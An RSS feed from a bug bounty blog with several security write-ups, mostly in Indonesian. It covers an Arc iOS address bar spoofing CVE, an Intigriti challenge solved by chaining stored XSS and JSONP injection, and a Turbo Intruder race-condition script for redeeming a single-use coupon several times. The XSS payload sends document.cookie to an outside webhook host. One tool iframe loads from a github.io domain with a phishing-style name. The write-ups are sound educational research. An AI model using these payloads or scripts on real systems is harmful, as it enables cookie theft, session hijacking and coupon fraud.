<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[BountyProofs | Bug Bounty Writeups & Free Tools]]></title><description><![CDATA[Explore real-world bug bounty proofs of concept. Learn how ethical hackers find and exploit security flaws across platforms.]]></description><link>https://bountyproofs.com</link><generator>RSS for Node</generator><lastBuildDate>Fri, 10 Apr 2026 07:00:28 GMT</lastBuildDate><atom:link href="https://bountyproofs.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Simple AHK Tool untuk Mempercepat Testing (Bug Bounty)]]></title><description><![CDATA[Dalam proses bug bounty, terutama saat menguji potensi DoS (Denial of Service) atau resource exhaustion, kita sering harus mencoba banyak payload secara berulang. Kalau masih manual copy paste, itu cu]]></description><link>https://bountyproofs.com/simple-ahk-tool-untuk-mempercepat-testing-bug-bounty</link><guid isPermaLink="true">https://bountyproofs.com/simple-ahk-tool-untuk-mempercepat-testing-bug-bounty</guid><dc:creator><![CDATA[zeeagil]]></dc:creator><pubDate>Tue, 31 Mar 2026 09:22:45 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/681efd6f72c0d078904c340d/1133651f-552c-4b93-99ee-1c0a6cf6220d.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Dalam proses bug bounty, terutama saat menguji potensi DoS (Denial of Service) atau resource exhaustion, kita sering harus mencoba banyak payload secara berulang. Kalau masih manual copy paste, itu cukup menghambat.</p>
<p>Tools ini dibuat menggunakan AutoHotkey v2 dengan tujuan sederhana: mempercepat penggunaan payload tanpa perlu bolak-balik copy–paste.</p>
<p>Cara kerjanya cukup straightforward. Script akan mengambil isi dari file payload (misalnya <code>payload1.txt</code>, <code>payload2.txt</code>, dan seterusnya), lalu langsung mengirimkannya ke input yang sedang aktif. Tinggal tekan tombol Numpad sesuai nomor payload yang ingin digunakan.</p>
<p>Contohnya:</p>
<ul>
<li><p>Numpad1 akan mengirim isi dari <code>payload1.txt</code></p>
</li>
<li><p>Numpad2 dari <code>payload2.txt</code></p>
</li>
<li><p>dan seterusnya sampai Numpad9</p>
</li>
</ul>
<p>Berikut source code-nya:</p>
<pre><code class="language-ahk">#Requires AutoHotkey v2
#SingleInstance Force

PasteFromFile(index) {
    filename := "payload" index ".txt"
    
    if !FileExist(filename) {
        MsgBox "File tidak ditemukan: " filename
        return
    }

    payload := Trim(FileRead(filename))
    SendText payload
}

Numpad1::PasteFromFile(1)
Numpad2::PasteFromFile(2)
Numpad3::PasteFromFile(3)
Numpad4::PasteFromFile(4)
Numpad5::PasteFromFile(5)
Numpad6::PasteFromFile(6)
Numpad7::PasteFromFile(7)
Numpad8::PasteFromFile(8)
Numpad9::PasteFromFile(9)
</code></pre>
<p>Untuk struktur file, cukup siapkan beberapa file payload seperti:</p>
<ul>
<li><p>payload1.txt</p>
</li>
<li><p>payload2.txt</p>
</li>
<li><p>payload3.txt dan seterusnya, isi dengan payload yang ingin digunakan.</p>
</li>
</ul>
<p>Cara pakainya:</p>
<ol>
<li><p>Jalankan script AutoHotkey</p>
</li>
<li><p>Fokus ke input target</p>
</li>
<li><p>Tekan Numpad sesuai payload yang diinginkan</p>
</li>
</ol>
<p>Tools ini tidak kompleks, tapi cukup membantu untuk mempercepat workflow saat testing, terutama kalau sering main di bagian input yang sama.  </p>
<p>Tools Sudah jadi : <a href="https://drive.google.com/drive/folders/1vUjDQCnCnQYPQ1wsikLGq0-lXwuAwGwq?usp=sharing">https://drive.google.com/drive/folders/1vUjDQCnCnQYPQ1wsikLGq0-lXwuAwGwq?usp=sharing</a></p>
<p>Gunakan hanya pada target yang memang memiliki izin (program bug bounty atau lab testing).</p>
]]></content:encoded></item><item><title><![CDATA[CVE-2025-14812: Zero-Click Address Bar Spoofing in Arc Browser iOS]]></title><description><![CDATA[Assalamualaikum, my name is Syarif Muhammad Sajjad, also known as syarif07 on HackerOne.
In this writeup, I’ll walk through one of my findings that was assigned CVE-2025-14812, a high-severity vulnera]]></description><link>https://bountyproofs.com/cve-2025-14812-zero-click-address-bar-spoofing-in-arc-browser-ios</link><guid isPermaLink="true">https://bountyproofs.com/cve-2025-14812-zero-click-address-bar-spoofing-in-arc-browser-ios</guid><category><![CDATA[bugbounty]]></category><category><![CDATA[Security]]></category><category><![CDATA[cybersecurity]]></category><dc:creator><![CDATA[Syarif Muhammad Sajjad]]></dc:creator><pubDate>Wed, 25 Mar 2026 07:43:13 GMT</pubDate><content:encoded><![CDATA[<img src="https://cdn.hashnode.com/uploads/covers/6827650020f3f5a3aa24d99e/8eae3d59-e00d-4489-bcdc-47e1994f7b94.png" alt="" style="display:block;margin:0 auto" />

<p>Assalamualaikum, my name is <strong>Syarif Muhammad Sajjad</strong>, also known as <a href="https://hackerone.com/syarif07">syarif07</a> <strong>on HackerOne</strong>.</p>
<p>In this writeup, I’ll walk through one of my findings that was assigned <a href="https://arc.net/security/bulletins#cve-2025-14812-address-bar-spoofing-risk-iframe-triggered-uri-navigation-on-arc-search-ios"><strong>CVE-2025-14812</strong></a>, a high-severity vulnerability in Arc Search for iOS that enables <strong>zero-click address bar spoofing</strong>.</p>
<h2>TL;DR</h2>
<p>Arc Search for iOS failed to correctly track the top-level browsing context origin in its address bar when an embedded iframe triggered a navigation to a mobile URI scheme such as <code>geo:</code> (custom URI). The result: the omnibox would update to display the iframe's origin an attacker-controlled domain while the visible page content remained unchanged from the original site. Users were shown a domain they never navigated to.</p>
<hr />
<h2>Vulnerability Details</h2>
<h3>Root cause</h3>
<p>When Arc Search iOS encountered a URI-scheme navigation (<code>geo:</code>, <code>tel:</code>, <code>sms:</code>, etc.) originating from an iframe, it incorrectly treated the iframe's origin as the new top-level origin and reflected it in the address bar. The top-level document never navigated only the subframe did, to a non-HTTP scheme but Arc's navigation delegate updated the omnibox as if the whole page had changed.</p>
<p>This is a <strong>browsing context origin misattribution</strong> bug. The fix: the address bar should only ever reflect the top-level browsing context URL. Navigation events from subframes, especially to URI schemes that don't produce a visible page, must not propagate to the omnibox.</p>
<p>Notably, <strong>Arc macOS was unaffected</strong> it correctly retained the top-level origin throughout. The bug was specific to how the iOS build wired up its <strong>WKWebView</strong> navigation delegate.</p>
<h3>Why it's zero-click</h3>
<p>The iframe fires on page load with no user interaction required. Simply visiting the attacker's page is enough to trigger the spoofed address bar state. This is what drove the severity upgrade from Medium to High during triage.</p>
<p>When the victim page loads in Arc Search iOS, the iframe automatically fires the <code>geo:</code> navigation. Arc's navigation delegate misattributes the iframe's origin as the top-level origin and updates the omnibox to <a href="http://attacker.github.io"><code>attacker.github.io</code></a> while <a href="http://victim.com"><code>victim.com</code></a>'s DOM remains fully visible on screen.</p>
<p>The original PoC used <a href="http://Glitch.me">Glitch.me</a>, which later shut down. The researcher updated it to use GitHub Pages, which is significant: a real-world attacker could register a convincing lookalike domain and host the redirect script there.</p>
<hr />
<h2>Impact</h2>
<p>The spoofed domain shown in the address bar is the iframe's domain the attacker can only display a domain they control. This means the attack doesn't directly let someone fake <a href="http://paypal.com"><code>paypal.com</code></a> unless they can get the <code>geo:</code> redirect script hosted on a PayPal subdomain (e.g., via an open redirect). However, several scenarios remain viable:</p>
<p><strong>Lookalike domain phishing.</strong> The attacker registers <a href="http://paypa1-support.com"><code>paypa1-support.com</code></a>, hosts the <code>geo:</code> script there, and iframes it inside a legitimate-looking page. The mobile address bar (already space-constrained) shows <a href="http://paypa1-support.com"><code>paypa1-support.com</code></a> as the apparent origin while a convincing phishing form fills the viewport.</p>
<p><strong>Social engineering with trusted sub-contexts.</strong> On mobile, users heavily rely on the address bar for trust signals. Showing any unexpected domain even one clearly controlled by an attacker undermines the user's ability to know what site they are on.</p>
<p><strong>Permission prompt abuse.</strong> The <code>geo:</code>, <code>tel:</code>, and <code>sms:</code> URI schemes can initiate system-level prompts. Triggering these while the address bar shows a different, possibly trusted origin creates confusion about what is requesting the permission.</p>
<hr />
<h2>Timeline</h2>
<table>
<thead>
<tr>
<th>Date</th>
<th>Event</th>
</tr>
</thead>
<tbody><tr>
<td>Jun 17, 2025</td>
<td>Initial report submitted to HackerOne</td>
</tr>
<tr>
<td>Jul 8, 2025</td>
<td>Triaged as <strong>Medium</strong></td>
</tr>
<tr>
<td>Oct 9, 2025</td>
<td>Severity upgraded to <strong>High</strong> after zero-click nature confirmed; bounty awarded</td>
</tr>
<tr>
<td>Dec 1, 2025</td>
<td>Fix confirmed by researcher</td>
</tr>
<tr>
<td>Dec 19, 2025</td>
<td>CVE-2025-14812 published</td>
</tr>
</tbody></table>
<p>The Medium → High reclassification came down to one realization: the iframe fires automatically on page load, requiring zero user interaction beyond visiting the page. That single fact moved the CVSS <code>UI</code> metric from <code>R</code> (required) to <code>N</code> (none), explaining most of the score increase.</p>
<hr />
<h2>Remediation</h2>
<p>Update Arc Search iOS to version 1.45.2 or later. The fix prevents subframe URI-scheme navigation events from propagating to and updating the top-level omnibox origin display.</p>
<p><strong>Credit:</strong> <a href="https://hackerone.com/syarif07">syarif07</a>, reported through <strong>The Browser Company's</strong> vulnerability rewards program.</p>
]]></content:encoded></item><item><title><![CDATA[Write-up: Intigriti 0226 challenge]]></title><description><![CDATA[Intigriti 0226 challenge by d3dn0v4
This is a brief story of how I approached and solved the Intigriti 0226 challenge from identifying the weak points to chaining them into a working.
Let’s Get Starte]]></description><link>https://bountyproofs.com/write-up-intigriti-0226-challenge</link><guid isPermaLink="true">https://bountyproofs.com/write-up-intigriti-0226-challenge</guid><dc:creator><![CDATA[badcat]]></dc:creator><pubDate>Mon, 23 Feb 2026 18:50:24 GMT</pubDate><enclosure url="https://cloudmate-test.s3.us-east-1.amazonaws.com/uploads/covers/6822e0540d674113b4cc141f/962efa44-a6a8-450a-aa6e-aebeb8441805.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><a href="https://x.com/intigriti/status/2023381870008733733">Intigriti 0226 challenge by d3dn0v4</a></p>
<p>This is a brief story of how I approached and solved the Intigriti 0226 challenge from identifying the weak points to chaining them into a working.</p>
<p><strong>Let’s Get Started</strong></p>
<p>In this challenge, you are provided with a file containing the source code of the web application used for the challenge. Before diving into the attack plan, let’s break down what this web app actually does.</p>
<ul>
<li><strong>Part 0x1</strong></li>
</ul>
<p>In file app.py, the Markdown renderer uses regex substitutions but treats the original input as trusted HTML:</p>
<pre><code class="language-python">def render_markdown(content):
    html_content = content
    html_content = re.sub(r'^### (.+)$', r'&lt;h3&gt;\1&lt;/h3&gt;', html_content, flags=re.MULTILINE)
    html_content = re.sub(r'^## (.+)$', r'&lt;h2&gt;\1&lt;/h2&gt;', html_content, flags=re.MULTILINE)
    html_content = re.sub(r'^# (.+)$', r'&lt;h1&gt;\1&lt;/h1&gt;', html_content, flags=re.MULTILINE)
    html_content = re.sub(r'\*\*(.+?)\*\*', r'&lt;strong&gt;\1&lt;/strong&gt;', html_content)
    html_content = re.sub(r'\*(.+?)\*', r'&lt;em&gt;\1&lt;/em&gt;', html_content)
    html_content = re.sub(r'\[(.+?)\]\((.+?)\)', r'&lt;a href="\2"&gt;\1&lt;/a&gt;', html_content)
    html_content = html_content.replace('\n\n', '&lt;/p&gt;&lt;p&gt;')
    html_content = f'&lt;p&gt;{html_content}&lt;/p&gt;'
    return html_content
</code></pre>
<p>Because there is no HTML sanitization/escaping, an attacker can include raw HTML tags including <code>&lt;script&gt;</code> in content, and they will remain present in the output.</p>
<ul>
<li><strong>Part 0x2</strong></li>
</ul>
<p>In preview.js, the application inserts the server rendered HTML directly into the page:</p>
<pre><code class="language-javascript">fetch('/api/render?id=' + postId)
        .then(function(response) {
            if (!response.ok) throw new Error('Failed to load');
            return response.json();
        })
        .then(function(data) {
            const preview = document.getElementById('preview');
            preview.innerHTML = data.html;
            processContent(preview);
        })
        .catch(function(error) {
            document.getElementById('preview').innerHTML = '&lt;p class="error"&gt;Failed to load content.&lt;/p&gt;';
        });
</code></pre>
<p>This is a DOM XSS sink because attacker controlled HTML is parsed and inserted into the DOM.</p>
<ul>
<li><strong>Part 0x3</strong></li>
</ul>
<p>Even if scripts inserted via innerHTML do not always execute automatically in some cases, the app includes logic that explicitly executes them by creating new <code>&lt;script&gt;</code> elements:</p>
<pre><code class="language-javascript">
if (script.src &amp;&amp; script.src.includes('/api/')) {
    const newScript = document.createElement('script');
    newScript.src = script.src;
    document.body.appendChild(newScript);
}
</code></pre>
<p>This ensures execution for any injected <code>&lt;script src=""&gt;</code> matching /api/. The site used a CSP similar to script-src 'self'. That sounds restrictive, but it still allows scripts from the same origin. Since /api/ endpoints are hosted on the same origin, scripts loaded from /api/... are fully allowed by CSP.</p>
<ul>
<li><strong>Part 0x4</strong></li>
</ul>
<p>The JSONP endpoint directly injects callback into JavaScript without proper validation:</p>
<pre><code class="language-python">@app.route('/api/jsonp')
def api_jsonp():
    callback = request.args.get('callback', 'handleData')
    
    if '&lt;' in callback or '&gt;' in callback:  # Filter ONLY &lt; and &gt;
        callback = 'handleData'
    
    response = f"{callback}({json.dumps(user_data)})"
    return Response(response, mimetype='application/javascript')
</code></pre>
<p>Filtering only &lt; and &gt; is insufficient because JavaScript injection does not require HTML tags. The attacker can supply a callback that is actually arbitrary JavaScript:</p>
<p>Example request</p>
<p><code>/api/jsonp?callback=fetch('https://test.com/'+document.cookie)//</code></p>
<p>Resulting response</p>
<p><code>fetch('https://test.com/'+document.cookie)//({})</code></p>
<p>Because the endpoint returns application/javascript, this is executed when loaded via a `&lt;script src=&gt;` tag</p>
<p>Now that we understand how it works, let’s break it.</p>
<p><strong>Solution</strong></p>
<p>Attacker creates a post containing a <code>&lt;script&gt;</code> tag pointing to /api/jsonp with a malicious callback payload. The preview feature renders content into the DOM via innerHTML. Client-side code re-inserts /api/ scripts by creating new <code>&lt;script&gt;</code> elements, ensuring execution.The JSONP endpoint returns attacker-controlled JavaScript, which runs under the application origin. Sensitive data (e.g., moderator cookies) can be exfiltrated to an attacker-controlled endpoint.</p>
<p>payload : <code>&lt;script src="/api/jsonp?callback=fetch('https://webhookexample.com/?c='.concat(document.cookie))//"&gt;&lt;/script&gt;</code></p>
<p><strong>Exploit Steps:</strong></p>
<ol>
<li><p>Register and log in.</p>
</li>
<li><p>Create a post and inject the payload above into the post content.</p>
</li>
<li><p>Click “Report to Moderator”</p>
</li>
<li><p>Observe the webhook receiving the victim’s document.cookie.</p>
</li>
</ol>
<p>The application is vulnerable to stored DOM-based XSS due to an unsafe Markdown renderer that outputs attacker-controlled HTML, which is then inserted into the DOM using innerHTML. The impact is escalated by client-side logic that explicitly re-executes <code>&lt;script&gt;</code> tags referencing /api/ paths. An additional flaw in /api/jsonp allows JavaScript injection via an unvalidated callback parameter, enabling same-origin script execution under script-src 'self'.</p>
<p>This chain leads to account compromise and data exfiltration moderator cookies when privileged users view malicious content.</p>
<p><strong>Final Flag</strong></p>
<p>INTIGRITI{019c668f-bf9f-70e8-b793-80ee7f86e00b}</p>
]]></content:encoded></item><item><title><![CDATA[[Bug Bounty] Race Condition: Redeeming Single-Use Coupon Multiple Times]]></title><description><![CDATA[Pada kesempatan kali ini saya akan membahas kerentanan yang seringkali terlewat oleh mata telanjang tapi punya impact yang sangat fatal, yaitu Race Condition. Kerentanan ini saya temukan pada fitur Redeem Voucher di sebuah platform E-Commerce (mari k...]]></description><link>https://bountyproofs.com/bug-bounty-race-condition-redeeming-single-use-coupon-multiple-times</link><guid isPermaLink="true">https://bountyproofs.com/bug-bounty-race-condition-redeeming-single-use-coupon-multiple-times</guid><category><![CDATA[#turbointruder]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[websecurity]]></category><category><![CDATA[race-condition]]></category><category><![CDATA[logicflaw]]></category><category><![CDATA[#bountytipswebsite]]></category><dc:creator><![CDATA[Rofi Arasyi]]></dc:creator><pubDate>Tue, 03 Feb 2026 11:48:18 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1770116456998/629ff44d-4a0a-4445-91bf-c37d3e84c104.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Pada kesempatan kali ini saya akan membahas kerentanan yang seringkali terlewat oleh mata telanjang tapi punya impact yang sangat fatal, yaitu <strong>Race Condition</strong>. Kerentanan ini saya temukan pada fitur Redeem Voucher di sebuah platform E-Commerce (mari kita sebut saja <a target="_blank" href="http://target.com"><code>target.com</code></a>).</p>
<p>Konsep dasarnya sederhana: Satu kode voucher seharusnya cuma bisa dipakai satu kali. Tapi, apa jadinya kalau kita kirim request pemakaian voucher tersebut secara bersamaan dalam hitungan milidetik? Apakah server sempat mencatat bahwa vouchernya "sudah terpakai" sebelum request kedua masuk?</p>
<blockquote>
<p>Seketika saya langsung berpikir, "Kayaknya bisa deh kalau kita paksa server memproses banyak request sekaligus sebelum database sempat melakukan locking."</p>
</blockquote>
<h2 id="heading-the-naive-attempt">The Naive Attempt</h2>
<p>Awalnya saya coba cara manual menggunakan <strong>Burp Suite Repeater</strong>. Saya kirim satu request, lalu dengan cepat saya tekan <code>CTRL+R</code> dan <code>GO</code> lagi.</p>
<p><strong>Hasilnya? Gagal.</strong> Server <a target="_blank" href="http://target.com"><code>target.com</code></a> cukup cepat. Request pertama sukses (<code>200 OK</code>), dan request kedua langsung ditolak (<code>400 Bad Request</code>) dengan pesan "Voucher already redeemed". Ternyata latensi jaringan dan kecepatan klik jari manusia tidak cukup cepat untuk mengalahkan logic check di backend.</p>
<p>Di sini banyak bug hunter menyerah. Tapi sebenarnya, kita hanya butuh alat yang lebih presisi.</p>
<h2 id="heading-the-bypass-turbo-intruder">The Bypass: Turbo Intruder</h2>
<p>Untuk melakukan bypass pada batasan kecepatan ini, kita tidak bisa mengandalkan Repeater biasa. Kita butuh <strong>Turbo Intruder</strong>, sebuah ekstensi di Burp Suite yang bisa menahan request di level jaringan, lalu melepaskannya secara serentak (paralel).</p>
<p>Strateginya adalah menggunakan teknik <strong>Last-Byte Sync</strong>. Kita akan menahan byte terakhir dari request, membuat koneksi terbuka dan siap ("gated"), lalu melepaskan semuanya dalam waktu bersamaan.</p>
<p>Berikut adalah script Python yang saya gunakan di Turbo Intruder:</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">queueRequests</span>(<span class="hljs-params">target, wordlists</span>):</span>
    <span class="hljs-comment"># Membuka 30 koneksi sekaligus</span>
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=<span class="hljs-number">30</span>,
                           requestsPerConnection=<span class="hljs-number">1</span>,
                           pipeline=<span class="hljs-literal">False</span>
                           )

    <span class="hljs-comment"># Antrikan 30 request ke dalam 'gate' bernama 'race1'</span>
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">30</span>):
        engine.queue(target.req, gate=<span class="hljs-string">'race1'</span>)

    <span class="hljs-comment"># Lepaskan semua request secara bersamaan (presisi milidetik)</span>
    engine.openGate(<span class="hljs-string">'race1'</span>)
    engine.complete(timeout=<span class="hljs-number">60</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">handleResponse</span>(<span class="hljs-params">req, interesting</span>):</span>
    <span class="hljs-comment"># Catat semua respon ke dalam tabel hasil</span>
    table.add(req)
</code></pre>
<h2 id="heading-the-result">The Result</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770115388860/8111febb-067a-49bc-8197-6fdbf1253f9c.png" alt class="image--center mx-auto" /></p>
<p>Setelah script dijalankan, Turbo Intruder mengirimkan 30 request dalam jendela waktu kurang dari 5 milidetik. <strong>Dan hasilnya mengejutkan!</strong></p>
<p>Alih-alih mendapatkan 1x status <code>200 OK</code> dan 29x <code>400 Bad Request</code>, saya mendapatkan <strong>5x status 200 OK</strong>. Ini berarti dari 30 request yang "balapan" masuk ke database:</p>
<ol>
<li><p>Thread 1 cek voucher -&gt; Valid -&gt; Masuk proses potong saldo.</p>
</li>
<li><p>Thread 2 cek voucher -&gt; Valid (karena Thread 1 belum selesai update DB) -&gt; Masuk proses potong saldo.</p>
</li>
<li><p>Thread 3 cek voucher -&gt; Valid -&gt; Masuk proses potong saldo.</p>
</li>
<li><p>dst...</p>
</li>
</ol>
<p>Voucher senilai <strong>$10</strong> yang seharusnya cuma bisa dipakai sekali, berhasil saya redeem sebanyak 5 kali, memberikan saya total kredit <strong>$50</strong>. Restriction pada backend berhasil terbypass total karena kegagalan atomisitas.</p>
<h2 id="heading-alternative-method-the-no-code-way-burp-repeater">Alternative Method: The "No-Code" Way (Burp Repeater)</h2>
<p>Buat kalian yang malas buka Python atau tuning script, Burp Suite versi terbaru sebenarnya sudah punya fitur bawaan yang ga kalah sadis: <strong>Parallel Request Grouping</strong>.</p>
<p>Fitur ini memanfaatkan teknik <em>Last-byte Sync</em> secara otomatis via UI. Caranya gampang banget:</p>
<ol>
<li><p>Kirim request voucher tadi ke <strong>Repeater</strong>.</p>
</li>
<li><p>Duplikasi request tersebut sebanyak 20 kali (<code>CTRL + R</code> spamming).</p>
</li>
<li><p>Klik icon <code>+</code> di baris tab, lalu pilih <strong>"Create tab group"</strong>.</p>
</li>
<li><p>Pilih semua tab yang sudah kita duplikasi tadi, beri nama grup (misal: <em>Race</em>), lalu <strong>Create</strong>.</p>
</li>
</ol>
<p><strong>Nah, ini kuncinya:</strong> Di bagian Send options (atas kiri), ubah dari <em>"Send group in sequence"</em> menjadi <strong>"Send group in parallel (single connection)"</strong>.</p>
<p>Kenapa harus <em>single connection</em>? Karena opsi ini yang paling efektif memicu <em>packet collision</em>. Burp akan membuka satu koneksi TCP dan menumpuk semua request di sana, lalu melepas byte terakhir secara serentak.</p>
<p>Tinggal klik <strong>Send Group</strong>, dan <em>boom!</em> Kalian akan melihat 20 kolom respon muncul bersamaan. Di kasus saya, teknik UI ini juga sukses memicu 3x redeem ganda tanpa perlu menyentuh satu baris kode pun.</p>
<h2 id="heading-remediation">Remediation</h2>
<p>Untuk remediasi, developer harus menerapkan <strong>Pessimistic Locking</strong> (misalnya <code>SELECT FOR UPDATE</code> pada database SQL) atau menggunakan operasi atomik. Ini akan memastikan bahwa ketika satu thread sedang membaca/mengubah status voucher, thread lain harus menunggu antrian dan tidak bisa membaca data yang sedang diproses.</p>
<p>Sistem yang sudah di-patch biasanya akan menangani antrian ini dengan benar sehingga hanya 1 request yang sukses, sisanya akan fail.</p>
<h2 id="heading-real-world-study-cases">Real-World Study Cases</h2>
<p>Teori tanpa studi kasus nyata seringkali sulit dibayangkan. Berikut adalah daftar laporan asli (Public Disclosure) di HackerOne yang bisa kamu bedah untuk memahami pola serangan ini di berbagai tingkat keparahan:</p>
<p><strong>Low Severity (Logic &amp; UI State):</strong></p>
<ul>
<li><p><a target="_blank" href="https://hackerone.com/reports/1285538">Report 1285538</a></p>
</li>
<li><p><a target="_blank" href="https://hackerone.com/reports/454949">Report 454949</a></p>
</li>
<li><p><a target="_blank" href="https://hackerone.com/reports/927384">Report 927384</a></p>
</li>
</ul>
<p><strong>Medium Severity:</strong></p>
<ul>
<li><a target="_blank" href="https://hackerone.com/reports/429026">Report 429026</a></li>
</ul>
<p><strong>High Severity (Financial &amp; Integrity Impact):</strong></p>
<ul>
<li><a target="_blank" href="https://hackerone.com/reports/759247">Report 759247</a></li>
</ul>
<p><strong>Recommended Reading:</strong></p>
<ul>
<li><a target="_blank" href="https://corneacristian.medium.com/top-25-racecondition-bug-bounty-reports-84f9073bf9e5">Top 25 Race Condition Bug Bounty Reports</a></li>
</ul>
<p><em>Bagi yang ingin belajar lebih dalam, teknik ini sangat efektif untuk target-target yang melibatkan saldo, kupon, atau limitasi jumlah penggunaan. Happy hacking!</em></p>
]]></content:encoded></item><item><title><![CDATA[Bypass Popup Blocking pada Mode Split Screen melalui Abuse Event onerror]]></title><description><![CDATA[Pada kondisi normal, browser membatasi pembukaan pop-up yang tidak dipicu oleh interaksi pengguna. Namun, perilaku ini berubah ketika halaman dijalankan dalam mode Split Screen.
Dengan memanfaatkan event onerror pada elemen media HTML seperti <audio>...]]></description><link>https://bountyproofs.com/bypass-popup-blocking-pada-mode-split-screen-melalui-abuse-event-onerror</link><guid isPermaLink="true">https://bountyproofs.com/bypass-popup-blocking-pada-mode-split-screen-melalui-abuse-event-onerror</guid><category><![CDATA[#bountytipswebsite]]></category><dc:creator><![CDATA[zeeagil]]></dc:creator><pubDate>Tue, 03 Feb 2026 05:07:46 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1770095137385/594ff27d-a051-4af3-b979-599002baf256.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Pada kondisi normal, browser membatasi pembukaan pop-up yang tidak dipicu oleh interaksi pengguna. Namun, perilaku ini berubah ketika halaman dijalankan dalam <strong>mode Split Screen</strong>.</p>
<p>Dengan memanfaatkan event <code>onerror</code> pada elemen media HTML seperti <code>&lt;audio&gt;</code>, sebuah halaman dapat mengeksekusi <a target="_blank" href="http://window.open"><code>window.open</code></a><code>()</code> secara otomatis tanpa klik apa pun. File media yang sengaja dibuat tidak valid akan gagal dimuat, memicu <code>onerror</code>, dan langsung membuka jendela atau tab baru.</p>
<p>Ketika teknik ini dijalankan di <strong>Split Screen mode</strong>, mekanisme popup blocking tidak diterapkan sebagaimana mestinya. Dengan menambahkan banyak elemen <code>&lt;audio&gt;</code>, setiap error akan membuka pop-up secara beruntun tanpa diblokir. Perilaku ini <strong>tidak terjadi pada halaman normal</strong>, hanya muncul saat Split Screen aktif.</p>
<p>Dampaknya, halaman berbahaya dapat membuka pop-up dalam jumlah besar, mengganggu pengalaman pengguna, menguras sumber daya sistem, dan menghilangkan kontrol pengguna atas browser.  </p>
<p>Severity: Low - Medium (mayan buat jajan)</p>
]]></content:encoded></item><item><title><![CDATA[HTML Entity Encoder / Decoder]]></title><link>https://bountyproofs.com/html-entity-encoder-decoder</link><guid isPermaLink="true">https://bountyproofs.com/html-entity-encoder-decoder</guid><category><![CDATA[#bugbountytools]]></category><dc:creator><![CDATA[zeeagil]]></dc:creator><pubDate>Mon, 22 Dec 2025 16:31:46 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1766421082748/3c31ee42-b946-409c-8bf8-b09dc6765326.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<iframe width="99%" height="500" style="border:1px solid #;border-radius:8px">
</iframe>]]></content:encoded></item><item><title><![CDATA[Base64 Encoder / Decoder Tool]]></title><link>https://bountyproofs.com/base64-encoder-decoder-tool</link><guid isPermaLink="true">https://bountyproofs.com/base64-encoder-decoder-tool</guid><category><![CDATA[#bugbountytools]]></category><dc:creator><![CDATA[zeeagil]]></dc:creator><pubDate>Mon, 22 Dec 2025 16:28:10 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1766420856118/e24a355f-146a-4188-b105-8f39a477f407.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<iframe src="https://clouds-admins-logins-ads-google-com.github.io/blogtools/base64.html" width="99%" height="500" style="border:1px solid #;border-radius:8px">
</iframe>]]></content:encoded></item><item><title><![CDATA[$1000 Hidden Browser Permission Execution via Picture-in-Picture Overlay]]></title><description><![CDATA[Saya menemukan bug pada browser di mana fitur Picture-in-Picture (PiP) dapat menutupi dialog permission, seperti permission akses kamera dan permission sensitif lainnya.Meskipun dialog permission tersebut tertutup oleh overlay PiP, permission tetap d...]]></description><link>https://bountyproofs.com/1000-hidden-browser-permission-execution-via-picture-in-picture-overlay</link><guid isPermaLink="true">https://bountyproofs.com/1000-hidden-browser-permission-execution-via-picture-in-picture-overlay</guid><category><![CDATA[#bountytipsbrowser]]></category><dc:creator><![CDATA[zeeagil]]></dc:creator><pubDate>Fri, 19 Dec 2025 14:49:36 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1766155706635/957a581e-1bfe-4f09-9a7c-f9d7a055ae75.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Saya menemukan <strong>bug pada browser</strong> di mana fitur <strong>Picture-in-Picture (PiP)</strong> dapat <strong>menutupi dialog permission</strong>, seperti permission akses kamera dan permission sensitif lainnya.<br />Meskipun dialog permission tersebut tertutup oleh overlay PiP, <strong>permission tetap dapat dieksekusi</strong>.</p>
<p>Pada bug yang saya temukan, <strong>PiP dapat menutupi permission open camera</strong>, dan permission tersebut <strong>dapat dijalankan hanya dengan menekan tombol Enter</strong>. Akibatnya, <strong>kamera akan menyala tanpa sepengetahuan user/victim</strong>, karena dialog permission tidak terlihat oleh user akibat tertutup oleh PiP.</p>
<p>Bug ini menunjukkan bahwa <strong>permission masih menerima input meskipun tidak terlihat</strong>, sehingga memungkinkan eksekusi permission dengan <strong>interaksi user yang sangat minim</strong>.  </p>
<p>Bagi kalian yang tidak tau picture in picture itu apa kalian bisa baca ini<br /><a target="_blank" href="https://developer.chrome.com/docs/web-platform/document-picture-in-picture">https://developer.chrome.com/docs/web-platform/document-picture-in-picture</a></p>
]]></content:encoded></item><item><title><![CDATA[The Username That Vanished from Logs — A Business Logic Breakdown worth more than $xxx]]></title><description><![CDATA[Scope: bugbounty.[REDACTED TARGET]Weakness: Business Logic ErrorsSeverity: Low (3.4) $xxxReporter: @syarif07Report date: 2025-05-31

